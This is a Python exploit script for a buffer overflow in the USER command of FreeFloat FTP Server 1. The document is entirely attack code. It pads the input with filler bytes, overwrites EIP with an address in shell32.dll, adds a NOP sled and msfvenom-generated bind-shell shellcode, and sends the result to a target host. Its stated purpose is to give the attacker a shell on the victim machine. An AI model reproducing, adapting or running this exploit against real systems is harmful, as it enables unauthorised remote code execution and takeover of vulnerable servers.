##This is a bind shell TCP python code for exploiting FreeFloat FTP server Version 1
##Using this code, you will be able to exploit Free Float's USER argument vulnerability.
##The code has been tested on a WIndows XP Service Pack 3 machine.
## Written by CiiWairoto

#!/usr/bin/python


import socket
import sys

## Specifying IP address & port
if len(sys.argv)<3 :
	print '[!] You need to provide the IP & Port'
	print '\t[-] E.g. %s 192.168.56.101 21' % sys.argv[0]
	sys.exit
else:
	target=sys.argv[1]
	port=int(sys.argv[2])


##Connecting  to the target
try:
	print("[+] Connecting to target.")
	soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	socket.setdefaulttimeout(10)
	soc.connect((target, port))

	print("[+] Reviewed a banner.")
	print(soc.recv(1024))
except Exception as err:
	print "[!] Connection failed"
        print err



junk1= "\x41"*230
eip= "\x77\x9c\x55\x77" # Our Shell32.dll position
nops= "\x90"*16 # For padding
buf =  "" ## Generated using Msfvenom
buf += "\x29\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += "\x76\x0e\x7d\x7b\xd2\xa3\x83\xee\xfc\xe2\xf4\x81\x93"
buf += "\x50\xa3\x7d\x7b\xb2\x2a\x98\x4a\x12\xc7\xf6\x2b\xe2"
buf += "\x28\x2f\x77\x59\xf1\x69\xf0\xa0\x8b\x72\xcc\x98\x85"
buf += "\x4c\x84\x7e\x9f\x1c\x07\xd0\x8f\x5d\xba\x1d\xae\x7c"
buf += "\xbc\x30\x51\x2f\x2c\x59\xf1\x6d\xf0\x98\x9f\xf6\x37"
buf += "\xc3\xdb\x9e\x33\xd3\x72\x2c\xf0\x8b\x83\x7c\xa8\x59"
buf += "\xea\x65\x98\xe8\xea\xf6\x4f\x59\xa2\xab\x4a\x2d\x0f"
buf += "\xbc\xb4\xdf\xa2\xba\x43\x32\xd6\x8b\x78\xaf\x5b\x46"
buf += "\x06\xf6\xd6\x99\x23\x59\xfb\x59\x7a\x01\xc5\xf6\x77"
buf += "\x99\x28\x25\x67\xd3\x70\xf6\x7f\x59\xa2\xad\xf2\x96"
buf += "\x87\x59\x20\x89\xc2\x24\x21\x83\x5c\x9d\x24\x8d\xf9"
buf += "\xf6\x69\x39\x2e\x20\x13\xe1\x91\x7d\x7b\xba\xd4\x0e"
buf += "\x49\x8d\xf7\x15\x37\xa5\x85\x7a\x84\x07\x1b\xed\x7a"
buf += "\xd2\xa3\x54\xbf\x86\xf3\x15\x52\x52\xc8\x7d\x84\x07"
buf += "\xc9\x75\x22\x82\x41\x80\x3b\x82\xe3\x2d\x13\x38\xac"
buf += "\xa2\x9b\x2d\x76\xea\x13\xd0\xa3\x5e\xf9\x5b\x45\x17"
buf += "\x6b\x84\xf4\x15\xb9\x09\x94\x1a\x84\x07\xf4\x15\xcc"
buf += "\x3b\x9b\x82\x84\x07\xf4\x15\x0f\x3e\x98\x9c\x84\x07"
buf += "\xf4\xea\x13\xa7\xcd\x30\x1a\x2d\x76\x15\x18\xbf\xc7"
buf += "\x7d\xf2\x31\xf4\x2a\x2c\xe3\x55\x17\x69\x8b\xf5\x9f"
buf += "\x86\xb4\x64\x39\x5f\xee\xa2\x7c\xf6\x96\x87\x6d\xbd"
buf += "\xd2\xe7\x29\x2b\x84\xf5\x2b\x3d\x84\xed\x2b\x2d\x81"
buf += "\xf5\x15\x02\x1e\x9c\xfb\x84\x07\x2a\x9d\x35\x84\xe5"
buf += "\x82\x4b\xba\xab\xfa\x66\xb2\x5c\xa8\xc0\x22\x16\xdf"
buf += "\x2d\xba\x05\xe8\xc6\x4f\x5c\xa8\x47\xd4\xdf\x77\xfb"
buf += "\x29\x43\x08\x7e\x69\xe4\x6e\x09\xbd\xc9\x7d\x28\x2d"
buf += "\x76"


junk2 =  "\x43"*16

username= junk1 + eip + nops + buf +  junk2
password = "hacker"

try:
	print("[+] Sending credentials.")
	soc.send("USER " + username + "\r\n")
	print(soc.recv(1024))
	soc.close()
except Exception as err:
	print("Exploit Failed")
	sys.exit()


print("[+] Done! Closing Connection.")

